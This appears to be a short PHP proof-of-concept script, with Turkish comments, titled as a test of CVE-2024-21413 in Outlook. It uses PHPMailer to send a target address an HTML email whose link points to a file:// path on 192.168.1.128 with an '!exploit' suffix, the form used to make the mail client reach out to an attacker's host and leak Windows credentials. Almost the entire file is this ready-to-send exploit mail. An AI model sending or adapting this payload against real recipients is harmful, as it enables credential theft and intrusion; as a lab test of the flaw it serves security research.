index.php

<h1>CVE-2024-21413 Açığı Testi</h1>
<?php 

$mail_html='<!DOCTYPE html>
<html lang="en">
    <p><a href="file://192.168.1.128/test!exploit">Click me</a></p>

    </body>
</html>';


        require("class.phpmailer.php");

        $mail = new PHPMailer(); // create a new object

        $mail->IsSMTP(); // enable SMTP

        $mail->SMTPDebug = 1; // debugging: 1 = errors and messages, 2 = messages only

        $mail->SMTPAuth = true; //SMTP server'a kullanici adi ile baglanilcagini belirtiyoruz

        $mail->SMTPSecure = false;

        $mail->SMTPAutoTLS = false;

        $mail->Host = "mail.server.com"; // mail server gireceğiz

        $mail->Port = 587; // or 587

        $mail->IsHTML(true);

        $mail->SetLanguage("tr", "phpmailer/language");

        $mail->CharSet  ="utf-8";

        $mail->Username = "no-reply@server.com"; // Mail adresi

        $mail->Password = "parolaSifre"; // Parola

        $mail->SetFrom("no-reply@server.com","MSD Test"); // Mail adresi

        
        $mail->AddAddress("hedef@mail.com"); // Gönderilecek kişi
        $mail->Subject = "Bu Bir Saldırı Mailidir !! Test Amaçlı";
        $mail->Body = $mail_html;

        if(!$mail->Send()){

          echo "Mailer Error: ".$mail->ErrorInfo;

        } else {
          echo "Mail Gönderme Başarılı";


        }